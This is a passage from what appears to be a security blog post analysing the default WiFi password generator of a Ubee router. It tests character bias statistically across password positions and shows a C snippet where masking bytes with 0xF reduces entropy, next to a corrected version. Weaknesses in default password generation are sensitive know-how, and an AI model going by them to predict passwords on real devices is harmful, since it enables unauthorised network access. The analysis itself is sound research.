      &lt;td style=&quot;text-align: right&quot;&gt;644156&lt;/td&gt;
      &lt;td style=&quot;text-align: right&quot;&gt;646231&lt;/td&gt;
      &lt;td style=&quot;text-align: right&quot;&gt;643799&lt;/td&gt;
      &lt;td style=&quot;text-align: right&quot;&gt;643904&lt;/td&gt;
      &lt;td style=&quot;text-align: right&quot;&gt;646028&lt;/td&gt;
      &lt;td style=&quot;text-align: right&quot;&gt;645191&lt;/td&gt;
      &lt;td style=&quot;text-align: right&quot;&gt;5158494&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;J&lt;/td&gt;
      &lt;td style=&quot;text-align: right&quot;&gt;646173&lt;/td&gt;
      &lt;td style=&quot;text-align: right&quot;&gt;647567&lt;/td&gt;
      &lt;td style=&quot;text-align: right&quot;&gt;644446&lt;/td&gt;
      &lt;td style=&quot;text-align: right&quot;&gt;646871&lt;/td&gt;
      &lt;td style=&quot;text-align: right&quot;&gt;643707&lt;/td&gt;
      &lt;td style=&quot;text-align: right&quot;&gt;643784&lt;/td&gt;
      &lt;td style=&quot;text-align: right&quot;&gt;644831&lt;/td&gt;
      &lt;td style=&quot;text-align: right&quot;&gt;645184&lt;/td&gt;
      &lt;td style=&quot;text-align: right&quot;&gt;5162563&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;K&lt;/td&gt;
      &lt;td style=&quot;text-align: right&quot;&gt;646081&lt;/td&gt;
      &lt;td style=&quot;text-align: right&quot;&gt;644194&lt;/td&gt;
      &lt;td style=&quot;text-align: right&quot;&gt;645332&lt;/td&gt;
      &lt;td style=&quot;text-align: right&quot;&gt;645956&lt;/td&gt;
      &lt;td style=&quot;text-align: right&quot;&gt;643045&lt;/td&gt;
      &lt;td style=&quot;text-align: right&quot;&gt;645426&lt;/td&gt;
      &lt;td style=&quot;text-align: right&quot;&gt;645604&lt;/td&gt;
      &lt;td style=&quot;text-align: right&quot;&gt;644482&lt;/td&gt;
      &lt;td style=&quot;text-align: right&quot;&gt;5160120&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;L&lt;/td&gt;
      &lt;td style=&quot;text-align: right&quot;&gt;646300&lt;/td&gt;
      &lt;td style=&quot;text-align: right&quot;&gt;647688&lt;/td&gt;
      &lt;td style=&quot;text-align: right&quot;&gt;643770&lt;/td&gt;
      &lt;td style=&quot;text-align: right&quot;&gt;647416&lt;/td&gt;
      &lt;td style=&quot;text-align: right&quot;&gt;647079&lt;/td&gt;
      &lt;td style=&quot;text-align: right&quot;&gt;643306&lt;/td&gt;
      &lt;td style=&quot;text-align: right&quot;&gt;646640&lt;/td&gt;
      &lt;td style=&quot;text-align: right&quot;&gt;644420&lt;/td&gt;
      &lt;td style=&quot;text-align: right&quot;&gt;5166619&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;M&lt;/td&gt;
      &lt;td style=&quot;text-align: right&quot;&gt;645722&lt;/td&gt;
      &lt;td style=&quot;text-align: right&quot;&gt;644721&lt;/td&gt;
      &lt;td style=&quot;text-align: right&quot;&gt;645900&lt;/td&gt;
      &lt;td style=&quot;text-align: right&quot;&gt;646626&lt;/td&gt;
      &lt;td style=&quot;text-align: right&quot;&gt;642120&lt;/td&gt;
      &lt;td style=&quot;text-align: right&quot;&gt;647041&lt;/td&gt;
      &lt;td style=&quot;text-align: right&quot;&gt;644419&lt;/td&gt;
      &lt;td style=&quot;text-align: right&quot;&gt;645598&lt;/td&gt;
      &lt;td style=&quot;text-align: right&quot;&gt;5162147&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;N&lt;/td&gt;
      &lt;td style=&quot;text-align: right&quot;&gt;643346&lt;/td&gt;
      &lt;td style=&quot;text-align: right&quot;&gt;642926&lt;/td&gt;
      &lt;td style=&quot;text-align: right&quot;&gt;647641&lt;/td&gt;
      &lt;td style=&quot;text-align: right&quot;&gt;645527&lt;/td&gt;
      &lt;td style=&quot;text-align: right&quot;&gt;645881&lt;/td&gt;
      &lt;td style=&quot;text-align: right&quot;&gt;646807&lt;/td&gt;
      &lt;td style=&quot;text-align: right&quot;&gt;644758&lt;/td&gt;
      &lt;td style=&quot;text-align: right&quot;&gt;645506&lt;/td&gt;
      &lt;td style=&quot;text-align: right&quot;&gt;5162392&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;O&lt;/td&gt;
      &lt;td style=&quot;text-align: right&quot;&gt;644288&lt;/td&gt;
      &lt;td style=&quot;text-align: right&quot;&gt;647278&lt;/td&gt;
      &lt;td style=&quot;text-align: right&quot;&gt;643665&lt;/td&gt;
      &lt;td style=&quot;text-align: right&quot;&gt;643211&lt;/td&gt;
      &lt;td style=&quot;text-align: right&quot;&gt;&lt;strong&gt;643123&lt;/strong&gt;&lt;/td&gt;
      &lt;td style=&quot;text-align: right&quot;&gt;644586&lt;/td&gt;
      &lt;td style=&quot;text-align: right&quot;&gt;643429&lt;/td&gt;
      &lt;td style=&quot;text-align: right&quot;&gt;645178&lt;/td&gt;
      &lt;td style=&quot;text-align: right&quot;&gt;5154758&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;P&lt;/td&gt;
      &lt;td style=&quot;text-align: right&quot;&gt;645725&lt;/td&gt;
      &lt;td style=&quot;text-align: right&quot;&gt;644212&lt;/td&gt;
      &lt;td style=&quot;text-align: right&quot;&gt;645598&lt;/td&gt;
      &lt;td style=&quot;text-align: right&quot;&gt;644131&lt;/td&gt;
      &lt;td style=&quot;text-align: right&quot;&gt;645169&lt;/td&gt;
      &lt;td style=&quot;text-align: right&quot;&gt;643481&lt;/td&gt;
      &lt;td style=&quot;text-align: right&quot;&gt;644561&lt;/td&gt;
      &lt;td style=&quot;text-align: right&quot;&gt;645659&lt;/td&gt;
      &lt;td style=&quot;text-align: right&quot;&gt;5158536&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;Q&lt;/td&gt;
      &lt;td style=&quot;text-align: right&quot;&gt;646319&lt;/td&gt;
      &lt;td style=&quot;text-align: right&quot;&gt;645548&lt;/td&gt;
      &lt;td style=&quot;text-align: right&quot;&gt;645540&lt;/td&gt;
      &lt;td style=&quot;text-align: right&quot;&gt;644635&lt;/td&gt;
      &lt;td style=&quot;text-align: right&quot;&gt;646609&lt;/td&gt;
      &lt;td style=&quot;text-align: right&quot;&gt;645556&lt;/td&gt;
      &lt;td style=&quot;text-align: right&quot;&gt;646083&lt;/td&gt;
      &lt;td style=&quot;text-align: right&quot;&gt;644238&lt;/td&gt;
      &lt;td style=&quot;text-align: right&quot;&gt;5164528&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;R&lt;/td&gt;
      &lt;td style=&quot;text-align: right&quot;&gt;646186&lt;/td&gt;
      &lt;td style=&quot;text-align: right&quot;&gt;646918&lt;/td&gt;
      &lt;td style=&quot;text-align: right&quot;&gt;646082&lt;/td&gt;
      &lt;td style=&quot;text-align: right&quot;&gt;645293&lt;/td&gt;
      &lt;td style=&quot;text-align: right&quot;&gt;644315&lt;/td&gt;
      &lt;td style=&quot;text-align: right&quot;&gt;644532&lt;/td&gt;
      &lt;td style=&quot;text-align: right&quot;&gt;643100&lt;/td&gt;
      &lt;td style=&quot;text-align: right&quot;&gt;645163&lt;/td&gt;
      &lt;td style=&quot;text-align: right&quot;&gt;5161589&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;S&lt;/td&gt;
      &lt;td style=&quot;text-align: right&quot;&gt;645031&lt;/td&gt;
      &lt;td style=&quot;text-align: right&quot;&gt;644356&lt;/td&gt;
      &lt;td style=&quot;text-align: right&quot;&gt;644010&lt;/td&gt;
      &lt;td style=&quot;text-align: right&quot;&gt;646061&lt;/td&gt;
      &lt;td style=&quot;text-align: right&quot;&gt;644305&lt;/td&gt;
      &lt;td style=&quot;text-align: right&quot;&gt;645367&lt;/td&gt;
      &lt;td style=&quot;text-align: right&quot;&gt;646671&lt;/td&gt;
      &lt;td style=&quot;text-align: right&quot;&gt;645296&lt;/td&gt;
      &lt;td style=&quot;text-align: right&quot;&gt;5161097&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;T&lt;/td&gt;
      &lt;td style=&quot;text-align: right&quot;&gt;644615&lt;/td&gt;
      &lt;td style=&quot;text-align: right&quot;&gt;645493&lt;/td&gt;
      &lt;td style=&quot;text-align: right&quot;&gt;646729&lt;/td&gt;
      &lt;td style=&quot;text-align: right&quot;&gt;643215&lt;/td&gt;
      &lt;td style=&quot;text-align: right&quot;&gt;646369&lt;/td&gt;
      &lt;td style=&quot;text-align: right&quot;&gt;646701&lt;/td&gt;
      &lt;td style=&quot;text-align: right&quot;&gt;646930&lt;/td&gt;
      &lt;td style=&quot;text-align: right&quot;&gt;645168&lt;/td&gt;
      &lt;td style=&quot;text-align: right&quot;&gt;5165220&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;U&lt;/td&gt;
      &lt;td style=&quot;text-align: right&quot;&gt;645821&lt;/td&gt;
      &lt;td style=&quot;text-align: right&quot;&gt;643468&lt;/td&gt;
      &lt;td style=&quot;text-align: right&quot;&gt;646697&lt;/td&gt;
      &lt;td style=&quot;text-align: right&quot;&gt;648493&lt;/td&gt;
      &lt;td style=&quot;text-align: right&quot;&gt;645028&lt;/td&gt;
      &lt;td style=&quot;text-align: right&quot;&gt;644295&lt;/td&gt;
      &lt;td style=&quot;text-align: right&quot;&gt;646569&lt;/td&gt;
      &lt;td style=&quot;text-align: right&quot;&gt;&lt;strong&gt;646925&lt;/strong&gt;&lt;/td&gt;
      &lt;td style=&quot;text-align: right&quot;&gt;5167296&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;V&lt;/td&gt;
      &lt;td style=&quot;text-align: right&quot;&gt;645032&lt;/td&gt;
      &lt;td style=&quot;text-align: right&quot;&gt;646976&lt;/td&gt;
      &lt;td style=&quot;text-align: right&quot;&gt;646428&lt;/td&gt;
      &lt;td style=&quot;text-align: right&quot;&gt;646303&lt;/td&gt;
      &lt;td style=&quot;text-align: right&quot;&gt;646255&lt;/td&gt;
      &lt;td style=&quot;text-align: right&quot;&gt;646786&lt;/td&gt;
      &lt;td style=&quot;text-align: right&quot;&gt;646234&lt;/td&gt;
      &lt;td style=&quot;text-align: right&quot;&gt;644715&lt;/td&gt;
      &lt;td style=&quot;text-align: right&quot;&gt;5168729&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;W&lt;/td&gt;
      &lt;td style=&quot;text-align: right&quot;&gt;644853&lt;/td&gt;
      &lt;td style=&quot;text-align: right&quot;&gt;646818&lt;/td&gt;
      &lt;td style=&quot;text-align: right&quot;&gt;645351&lt;/td&gt;
      &lt;td style=&quot;text-align: right&quot;&gt;647347&lt;/td&gt;
      &lt;td style=&quot;text-align: right&quot;&gt;648049&lt;/td&gt;
      &lt;td style=&quot;text-align: right&quot;&gt;643937&lt;/td&gt;
      &lt;td style=&quot;text-align: right&quot;&gt;645605&lt;/td&gt;
      &lt;td style=&quot;text-align: right&quot;&gt;646118&lt;/td&gt;
      &lt;td style=&quot;text-align: right&quot;&gt;5168078&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;X&lt;/td&gt;
      &lt;td style=&quot;text-align: right&quot;&gt;644808&lt;/td&gt;
      &lt;td style=&quot;text-align: right&quot;&gt;645319&lt;/td&gt;
      &lt;td style=&quot;text-align: right&quot;&gt;645935&lt;/td&gt;
      &lt;td style=&quot;text-align: right&quot;&gt;642205&lt;/td&gt;
      &lt;td style=&quot;text-align: right&quot;&gt;647130&lt;/td&gt;
      &lt;td style=&quot;text-align: right&quot;&gt;646064&lt;/td&gt;
      &lt;td style=&quot;text-align: right&quot;&gt;644734&lt;/td&gt;
      &lt;td style=&quot;text-align: right&quot;&gt;645271&lt;/td&gt;
      &lt;td style=&quot;text-align: right&quot;&gt;5161466&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;Y&lt;/td&gt;
      &lt;td style=&quot;text-align: right&quot;&gt;643755&lt;/td&gt;
      &lt;td style=&quot;text-align: right&quot;&gt;646243&lt;/td&gt;
      &lt;td style=&quot;text-align: right&quot;&gt;644738&lt;/td&gt;
      &lt;td style=&quot;text-align: right&quot;&gt;644890&lt;/td&gt;
      &lt;td style=&quot;text-align: right&quot;&gt;644328&lt;/td&gt;
      &lt;td style=&quot;text-align: right&quot;&gt;646601&lt;/td&gt;
      &lt;td style=&quot;text-align: right&quot;&gt;644214&lt;/td&gt;
      &lt;td style=&quot;text-align: right&quot;&gt;645187&lt;/td&gt;
      &lt;td style=&quot;text-align: right&quot;&gt;5159956&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;Z&lt;/td&gt;
      &lt;td style=&quot;text-align: right&quot;&gt;646202&lt;/td&gt;
      &lt;td style=&quot;text-align: right&quot;&gt;644073&lt;/td&gt;
      &lt;td style=&quot;text-align: right&quot;&gt;643327&lt;/td&gt;
      &lt;td style=&quot;text-align: right&quot;&gt;644302&lt;/td&gt;
      &lt;td style=&quot;text-align: right&quot;&gt;646467&lt;/td&gt;
      &lt;td style=&quot;text-align: right&quot;&gt;645129&lt;/td&gt;
      &lt;td style=&quot;text-align: right&quot;&gt;647716&lt;/td&gt;
      &lt;td style=&quot;text-align: right&quot;&gt;645630&lt;/td&gt;
      &lt;td style=&quot;text-align: right&quot;&gt;5162846&lt;/td&gt;
    &lt;/tr&gt;
  &lt;/tbody&gt;
&lt;/table&gt;

&lt;p&gt;We see that the number of occurrences is pretty much balanced around a mean value 645277.
There are also values that are more or less distant from this mean. The question is whether this
balance is just a statistical fluctuation or it is really a significant bias from the distribution we expect.&lt;/p&gt;

&lt;p&gt;With hypothesis testing framework we can say whether this bias is statistically significant or not.
The null hypothesis we are going to test against is \( H_0: \) the distribution of characters from the alphabet is
uniform over characters. The alternative hypothesis is the distribution is not uniform. If our test rejects
null hypothesis we know there is a bias. If we cannot reject the null hypothesis, we assume it still holds, but it does
not mean the hypothesis is proven.&lt;/p&gt;

&lt;p&gt;Without loss of generality, consider the first character position of the password. We want to test whether character &lt;code class=&quot;highlighter-rouge&quot;&gt;A&lt;/code&gt;
has expected probability of appearance. Expected probability is \( {1}/{26} \). We have \( 2^{24} \) samples
from the distribution on the first character.&lt;/p&gt;

&lt;p&gt;There are several ways of testing the uniformity of a random number generator. 
For more complex methods please refer to 
&lt;a href=&quot;http://www.cse.wustl.edu/~jain/cse567-08/ftp/k_27trg.pdf&quot;&gt;[1]&lt;/a&gt; or 
&lt;a href=&quot;http://www.fi.muni.cz/~xkrhovj/lectures/2005_PA168_Statistical_Testing_slides.pdf&quot;&gt;[2]&lt;/a&gt;. We are going 
to use a simple method, to demonstrate the approach.&lt;/p&gt;

&lt;p&gt;Assuming \( H_0 \) holds the distribution follows &lt;a href=&quot;https://en.wikipedia.org/wiki/Binomial_distribution&quot;&gt;Binomial Distribution&lt;/a&gt;
where number of trials \(n = 2^{24} \), probability of success \( p = 1/26 \) (success is if character &lt;code class=&quot;highlighter-rouge&quot;&gt;A&lt;/code&gt; is generated). 
The expected number of success events is then \( np = 2^{24} / 26 = 645277.54 \). Moreover,
from the &lt;a href=&quot;https://en.wikipedia.org/wiki/Central_limit_theorem&quot;&gt;Central Limit Theorem&lt;/a&gt; this distribution
can be approximated with &lt;a href=&quot;https://en.wikipedia.org/wiki/Normal_distribution&quot;&gt;Normal distribution&lt;/a&gt; as the number of 
samples is big enough, thus it is a good approximation.&lt;/p&gt;

&lt;p&gt;Basic of hypothesis testing is very well explained in this &lt;a href=&quot;http://20bits.com/article/hypothesis-testing-the-basics&quot;&gt;article&lt;/a&gt;.
We define \( \alpha = 0.01 \) so the level of confidence the null hypothesis is false is 99%.&lt;/p&gt;

&lt;p&gt;Under assumption of null hypothesis the distribution of &lt;code class=&quot;highlighter-rouge&quot;&gt;A&lt;/code&gt; characters on the first character should follow Normal Distribution
with given mean. With 99% confidence level we can reject the null hypothesis if observed probability lies outside 99%
of the area of the normal curve, it approximately corresponds to distance 2.58 standard deviations from mean:&lt;/p&gt;

&lt;p&gt;&lt;a href=&quot;/static/ubee/normal-curve-small.png&quot;&gt;&lt;img src=&quot;/static/ubee/normal-curve-small.png&quot; alt=&quot;Normal curve&quot; /&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;em&gt;Normal curve&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;Note: The distance from the mean in terms of standard deviations is called Z-score.&lt;/p&gt;

&lt;p&gt;We performed the hypothesis testing for each character on each position and on overall statistics.
Hypothesis about uniformity on given character on given password position 
is rejected with 99% confidence level if the cell is dark red, 95% confidence if the cell is bright red.&lt;/p&gt;

&lt;p&gt;&lt;a href=&quot;/static/ubee/hypo_uniform.png&quot;&gt;&lt;img src=&quot;/static/ubee/hypo_uniform_100.png&quot; alt=&quot;Hypothesis rejection - uniform&quot; /&gt;&lt;/a&gt;&lt;/p&gt;

&lt;!-- corresponding field contains `x` character in the following table:.
| Char |  1 pos |  2 pos |  3 pos |  4 pos |  5 pos |  6 pos |  7 pos |  8 pos |  total |
| ---- | -----: | -----: | -----: | -----: | -----: | -----: | -----: | -----: | -----: |
A|-|-|-|-|-|-|-|-|-
B|-|-|-|-|x|-|-|-|-
C|-|-|-|-|-|-|-|-|-
D|x|-|-|-|-|-|-|-|-
E|-|-|-|x|-|-|-|-|-
F|-|-|-|-|-|-|-|-|-
G|-|-|-|-|-|-|-|-|-
H|x|-|-|-|x|-|-|-|-
I|-|-|-|-|-|-|-|-|-
J|-|x|-|-|-|-|-|-|-
K|-|-|-|-|x|-|-|-|-
L|-|x|-|x|-|-|-|-|-
M|-|-|-|-|x|-|-|-|-
N|-|x|x|-|-|-|-|-|-
O|-|-|-|x|x|-|-|-|x
P|-|-|-|-|-|-|-|-|-
Q|-|-|-|-|-|-|-|-|-
R|-|-|-|-|-|-|x|-|-
S|-|-|-|-|-|-|-|-|-
T|-|-|-|x|-|-|-|-|-
U|-|-|-|x|-|-|-|-|-
V|-|-|-|-|-|-|-|-|x
W|-|-|-|x|x|-|-|-|x
X|-|-|-|x|-|-|-|-|-
Y|-|-|-|-|-|-|-|-|-
Z|-|-|-|-|-|-|x|-|-
{:.mbtablestyle2}
--&gt;

&lt;p&gt;From the table above we see there are biases on both particular positions and in total. For example,
character &lt;code class=&quot;highlighter-rouge&quot;&gt;W&lt;/code&gt; is biased on password positions 4 and 5 and in overall statistics (pos 1-8). On contrary
we cannot reject null hypothesis for character &lt;code class=&quot;highlighter-rouge&quot;&gt;A&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;It would not be fair to test uniformity hypothesis as the output transformation on the password (last &lt;code class=&quot;highlighter-rouge&quot;&gt;sprintf&lt;/code&gt;, step 5)
has a slight bias. Example:&lt;/p&gt;

&lt;table class=&quot;mbtablestyle2&quot;&gt;
  &lt;thead&gt;
    &lt;tr&gt;
      &lt;th&gt;Char&lt;/th&gt;
      &lt;th style=&quot;text-align: right&quot;&gt;Uniform distribution&lt;/th&gt;
      &lt;th style=&quot;text-align: right&quot;&gt;Real distribution&lt;/th&gt;
    &lt;/tr&gt;
  &lt;/thead&gt;
  &lt;tbody&gt;
    &lt;tr&gt;
      &lt;td&gt;O&lt;/td&gt;
      &lt;td style=&quot;text-align: right&quot;&gt;\( \frac{1}{26} = 0.03846 \)&lt;/td&gt;
      &lt;td style=&quot;text-align: right&quot;&gt;\( \frac{2520}{65536} = 0.03845 \)&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;V&lt;/td&gt;
      &lt;td style=&quot;text-align: right&quot;&gt;\( \frac{1}{26} = 0.03846 \)&lt;/td&gt;
      &lt;td style=&quot;text-align: right&quot;&gt;\( \frac{2524}{65536} = 0.03851 \)&lt;/td&gt;
    &lt;/tr&gt;
  &lt;/tbody&gt;
&lt;/table&gt;

&lt;p&gt;When we change null hypothesis so the expected character distribution is not uniform but
distribution generated by function \( (A + B)\; \% \; 26 \) we get:&lt;/p&gt;

&lt;p&gt;&lt;a href=&quot;/static/ubee/hypo_alpha.png&quot;&gt;&lt;img src=&quot;/static/ubee/hypo_alpha_100.png&quot; alt=&quot;Hypothesis rejection - alphabet&quot; /&gt;&lt;/a&gt;&lt;/p&gt;

&lt;!--
| Char |  1 pos |  2 pos |  3 pos |  4 pos |  5 pos |  6 pos |  7 pos |  8 pos |  total |
| ---- | -----: | -----: | -----: | -----: | -----: | -----: | -----: | -----: | -----: |
A|-|-|-|-|-|-|-|-|-
B|-|-|-|-|x|-|-|-|-
C|-|-|-|-|-|-|-|-|-
D|-|-|-|-|x|-|-|-|-
E|-|-|-|x|-|-|-|-|-
F|-|-|-|-|-|-|-|-|-
G|-|-|-|-|-|-|-|-|-
H|x|-|-|-|-|-|-|-|-
I|-|-|-|-|-|-|-|-|-
J|-|x|-|-|-|-|-|-|-
K|-|-|-|-|x|-|-|-|-
L|-|x|-|x|-|-|-|-|-
M|-|-|-|-|x|-|-|-|-
N|-|x|x|-|-|-|-|-|-
O|-|x|-|-|-|-|-|-|x
P|-|-|-|-|-|-|-|-|-
Q|-|-|-|-|-|-|-|-|-
R|-|-|-|-|-|-|-|-|-
S|-|-|-|-|-|-|-|-|-
T|-|-|-|x|-|-|-|-|-
U|-|x|-|x|-|-|-|-|-
V|-|-|-|-|-|-|-|-|-
W|-|-|-|-|x|-|-|-|-
X|-|-|-|x|-|-|-|-|-
Y|-|-|-|-|-|-|-|-|-
Z|-|-|-|-|-|-|x|-|-
{:.mbtablestyle2}
--&gt;

&lt;p&gt;When taking generator biases into account we now see that null hypothesis cannot be rejected for &lt;code class=&quot;highlighter-rouge&quot;&gt;V&lt;/code&gt;, &lt;code class=&quot;highlighter-rouge&quot;&gt;W&lt;/code&gt; while 
in the previous test we rejected it. 
The only one character the null hypothesis we can reject for in overall statistics is &lt;code class=&quot;highlighter-rouge&quot;&gt;O&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;Interestingly, if we would use second &lt;code class=&quot;highlighter-rouge&quot;&gt;sprintf&lt;/code&gt; function in step 3 in a slightly more reasonable way:&lt;/p&gt;

&lt;div class=&quot;language-c highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;c1&quot;&gt;// old function - broken, low entropy...&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;sprintf&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;((&lt;/span&gt;&lt;span class=&quot;kt&quot;&gt;char&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;buff3&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&quot;%.02X%.02X%.02X%.02X%.02X%.02X&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;buff2&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;amp;&lt;/span&gt;&lt;span class=&quot;mh&quot;&gt;0xF&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;buff2&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;amp;&lt;/span&gt;&lt;span class=&quot;mh&quot;&gt;0xF&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;buff2&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;2&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;amp;&lt;/span&gt;&lt;span class=&quot;mh&quot;&gt;0xF&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;buff2&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;3&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;amp;&lt;/span&gt;&lt;span class=&quot;mh&quot;&gt;0xF&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;buff2&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;4&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;amp;&lt;/span&gt;&lt;span class=&quot;mh&quot;&gt;0xF&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;buff2&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;5&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;amp;&lt;/span&gt;&lt;span class=&quot;mh&quot;&gt;0xF&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;

&lt;span class=&quot;c1&quot;&gt;// Instead of that do this&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;sprintf&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;((&lt;/span&gt;&lt;span class=&quot;kt&quot;&gt;char&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;buff3&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&quot;%.02X%.02X%.02X%.02X%.02X%.02X&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;buff2&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;],&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;buff2&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;],&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;buff2&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;2&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;],&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;buff2&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;3&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;],&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;buff2&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;4&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;],&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;buff2&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;5&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;We would obtain the following table for hypothesis rejection:&lt;/p&gt;

&lt;p&gt;&lt;a href=&quot;/static/ubee/hypo_entropy.png&quot;&gt;&lt;img src=&quot;/static/ubee/hypo_entropy_100.png&quot; alt=&quot;Hypothesis rejection - entropy&quot; /&gt;&lt;/a&gt;&lt;/p&gt;

&lt;!--
| Char |  1 pos |  2 pos |  3 pos |  4 pos |  5 pos |  6 pos |  7 pos |  8 pos |  total |
| ---- | -----: | -----: | -----: | -----: | -----: | -----: | -----: | -----: | -----: |
A|-|-|-|-|-|-|-|-|-
B|-|-|-|-|-|-|-|-|-
C|-|-|-|-|-|-|-|-|-
D|x|-|-|-|-|-|-|-|-
E|-|-|-|-|-|-|-|-|-
F|-|-|-|-|-|-|-|-|-
G|-|-|-|-|-|-|-|-|-
H|-|-|-|-|-|-|-|-|-
I|-|-|-|-|-|-|-|-|-
J|-|-|-|x|-|-|-|-|-
K|-|-|-|-|-|-|-|-|-
L|-|-|-|-|-|-|-|-|-
M|-|-|-|-|-|-|-|-|-
N|-|-|-|-|-|-|-|-|-
O|-|-|-|-|-|-|-|-|-
P|-|-|-|-|-|-|-|-|-
Q|-|-|-|-|-|-|-|-|-
R|-|-|-|-|-|-|-|-|-
S|-|-|-|-|-|-|-|-|-
